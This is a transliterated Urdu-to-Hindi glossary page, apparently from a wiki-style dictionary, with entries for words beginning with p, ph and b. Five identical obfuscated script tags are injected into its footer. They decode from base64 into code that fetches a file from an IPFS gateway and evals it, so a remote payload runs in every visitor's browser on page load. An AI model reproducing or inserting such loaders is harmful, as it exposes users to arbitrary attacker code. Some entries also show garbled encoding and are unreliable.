  • paravana= patanga, adhikar, ajna, premi
  • parastish= pooja, aradhana
  • par= doosara kinara, ant, samapti
  • paradari= pakshapat, paksh, anugrah
  • parivash= sundar, pari jaisi
  • pareshan= vyakul, chintit
  • pal= kshan
  • palak= barauni, ek kshan, nimish
  • pasheman= pashchatapi, lajjit, pachhatava karane vala
  • pesha= kala, vyavasay, kam-dhandha
  • pasand= chahat, svikriti, grahyata
  • pasina= sved
  • pas= rakshan, nirikshan, dhyan karana
  • pasaban= santari, chaukidar
  • pahaloo= paksh, labh, sena ka paksh

ph

  • faiq (fayaq)= shreshth, mahan
  • faida (fayada)= labh, hit, upayogita
  • fakr= nirdhanata
  • faqa= bhookh, vrat, nirdhanata
  • fikr= vichar, chinta, mati, ray
  • fakhhऱ= man,ahankar yash, gaurav
  • fakhir= abhimani
  • figar= du:khit, ghayal, chintit
  • fugaan= dard bhari pukar, srdan, gohar
  • faz= srdan, rona, vilap
  • fazal= shreshthata, gun, subuddhi, puny
  • fazil= pravin, nipun, sachcharitr
  • faiz= svatantrata, sundarata, udarata
  • fauj= sena, bhi d, janata
  • fatva= nyayik adesh
  • fitna= vidroh, danga, lubhav, jhag da, burapan
  • fitarat= svabhav, kapat, rachana, buddhi
  • fida= bali, phirauti, shraddha, parivartan
  • fidaee= premi
  • fऱhk= antar, doori, judaee, dosh
  • fऱhj= kartavy, nautik kartavy, niyam
  • farmaish= vastuoan ki maang, prayojan, anand, ichchha
  • farman= adesh, rajaghoshana
  • faryad (fariyad)= dukh da kahana, pukar
  • farishta= devadoot, sandesh lane vala doot, eeshvaradoot, bhavishyadvakta
  • fareb= dhokha, chalaki, thagi, kapat
  • faro= nich
  • firadaus= svarg, upavan
  • firaq= judaee, chinta, virah, doori, anupasthiti
  • fuऱhkat= judaee, anupasthiti (prem mean), virah
  • fursat= avasar, avakash, vishram
  • fauran= turant, shighrata se, spashtata se
  • falak= akash, svarg, bhagy
  • fuvad= hriday
  • fash= sanmukh, jnat, prasiddh
  • fasana= premakatha, kahani, qissa
  • fasila= doori, antar, prithakata
  • faisala= nirnay, adesh, sandhi
  • faham= samajh, buddhi

b

  • b= dvara, sath, se, mean, andar, samip, oopar, ke lie, ke taraf (upasarg mean prayog hota hai)
  • ba= ke sath, ke dvara, ka adhikari
  • bi=dvara, sath, se, mean, andar, samip , oopar, ke lie, ke taraf (upasarg mean prayog hota hai)
  • be=(upasarg) bina, n hona
  • be adab= ashisht, asabhy
  • be abaroo= nich, kalankit apamanakarak
  • be andaza= antahin, apar
  • be ikht़iyari= asahay
  • be izzat= apratishthit, man rahit
  • be ittifaqi= phoot, matabhed
  • be insaf= anyay
  • be imtiyaz= aviveki, buddhihin
  • be iman= avishvasaniy, jhootha, thag
  • be ihatiyati= asavadhan
  • be etibar= avishvasaniy, vishvas n karana
  • baanka= dhokhebaj, mu da hua, kapati, chalak
  • baqi= anant, shesh, bakaya
  • be qadr= nirmooly
  • be qarar= bechain, utavala
  • be kas= akela, mitrahin
  • be kar= vyarth, berozagar, alasi
  • be qusoor= nirdosh, nad
  • bakht़= saubhagy, bhagy, samriddhi
  • bakhsh़ish= upahar, dan, paritoshik
  • be khata= nirdosh, niraparadh
  • be khud= besudh, anandamagn, behosh
  • be khabar= asavadhan, moorkh, ajnani
  • bukhar= bhap, tapaman, jvar, krodh
  • bagal़= paksh, bagal
  • baga़vat= vidroh, rajadroh, vishvasaghat
  • bag=upavan, pe doan ka jhuramut, kunj
  • be gam़= prasann
  • be ga़na= aparichit, videshi
  • be gunah= nirdosh
  • bachcha= shishu
  • be chain= utavala, vyakul, vyag
  • bazm= sabha, toli (davat ya manoranjan ke liye)
  • baz=karane vala, karta, pratinidhi
  • baz=syenapakshi, shikara
  • baz= dubara, vapis, nakarana
  • bazar= mandi
  • bazari= ghatiya, ashisht, bhaddi, sadharan, mandi se sambandhit
  • bazi= khel, shart, daanv
  • bazicha= khilauna, amod, khel
  • bazoo= baanh, bhuja, dvar ka palla, sena ka paksh
  • be zar= nirdhan, kangal
  • be zaban= gooanga, sankochi, avakh
  • be jan= nirjiv
  • be zar= aprasann, krodhi
  • buzurrg= mahan, adaraniy, vriddh, shreshthajan
  • be jurm= niraparadh, nirdosh
  • badhiya= shreshthatar, achchhe gunoan vala, manhaga
  • bat=shabd, kahavat, vani, katha, prashn, gap, nukta, sar
  • be taqat= shaktihin
  • be tab= utavala, asahay, bechain
  • be tamiz= ashisht, asabhy
  • be tasir= nishprabhav, vyath
  • rbait= ghar, nivas
  • bait= jo da, chhand (kavita)
  • bad= bura, kapati
  • bad akht़r= abhaga
  • bad anjam= bura ant
  • bad khv़ab= kusvapn
  • bad chalan= charitrahin, ashisht, durachari
  • bad tar= adhik bura, ghatiya
  • badadua= shrap
  • badan= sharir
  • badanasib= durbhagy vala
  • badanam= kuprasiddh, apayash vala, nindaniy
  • badamash= guanda
  • badala= pratishodh
  • badr= poorn chandrama
  • bad sirat= bure svabhav vala
  • bad soorat= kuroop
  • bad= pavan, vayu, mand samir
  • badal= megh
  • badashah= raja, samrat
  • bada= sharab, madira
  • badiya= uja d, masrsthal
  • badiya= pyala
  • be dard= bhavana rahit, nirday, atyachari
  • be dag= nadan, nirdosh, svachchh
  • be dad= anyay, asamata, atyachar
  • be dar= jagrit, chaukanna
  • bood= astitv, hona
  • banda= bandhak, sevak, manushy
  • bandigi= shraddha, pooja, seva
  • bandish= rachana, shaili ki sundarata, yojana, srkavat
  • ban= rakshak
  • bano= sanbhrant mahila, kulin stri
  • be nazir= anupam, anootha, jisake koee barabar ka n ho
  • be nasib= abhaga



panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. urdoo hiandi shabdakosh urdoo hiandi shabdakosh. abhigaman tithi: 23 disambar, 2012.

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>